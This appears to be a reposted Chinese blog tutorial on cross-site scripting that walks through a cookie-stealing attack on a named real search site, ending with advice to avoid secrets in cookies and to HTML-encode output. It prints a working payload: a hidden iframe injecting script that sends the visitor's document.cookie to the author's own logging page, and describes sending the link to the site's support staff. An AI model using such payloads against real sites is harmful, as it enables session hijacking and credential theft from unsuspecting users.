跨站脚本攻击测试[转]

跨站脚本攻击的定义就不重复了,大家可以搜索一下。看一下具体过程:

我自己的一个页面:http://www.svnhost.cn

HTML中有这样一段代码:

<iframe width=0 height=0 src=http://www.huoche.com/search.php?k=%E7%81%AB%E6%98%9F<img%20width=0%20name=ck%20height=0%20src=http://www.svnhost.cn/test.aspx?c=%20/><script>ck.src=ck.src.concat(document.cookie);</script>&st=2></iframe>

然后我把这个http://www.svnhost.cn发给huoche的客服访问。httpwatch抓包模拟结果如下:

跨站脚本攻击

对方页面内容是:

跨站脚本攻击

我们看到,他的浏览器访问了我的http://www.svnhost.cn,接着执行了iframe中的页面,然后,接着访问了http://www.svnhost.cn/test.aspx?c=cck_lasttime=1228809300515; cck_count=0

这个是关键的一个地方:把浏览者在对方网站的cookie传递到www.svnhost.cn了,而我test.aspx会接受参数C的值,并记录到硬盘或者数据库。以备以后查询。

如果对方网站的安全性不够强,比如把用户名密码等关键数据存放到cookie里,这样我就拿到了他的用户名和密码。

跨站脚本攻击的步骤:构造一个攻击脚本,想办法让浏览者执行这个脚本,像上面的办法就是把脚本注入到对方页面里,然后用自己的页面隐藏调用。或者想办法把脚本存入网站数据库,这样所有浏览页面的人都会执行脚本,攻击范围就比较广了。

因此我们可以看出:

不要再cookie里存放机密数据。如密码,卡号等等

从任何地方接收数据,如果需要显示到页面上,都要进行编码。asp.net里可以用:HttpUtility.HtmlEncode

原文地址:https://www.cnblogs.com/craig/p/1369353.html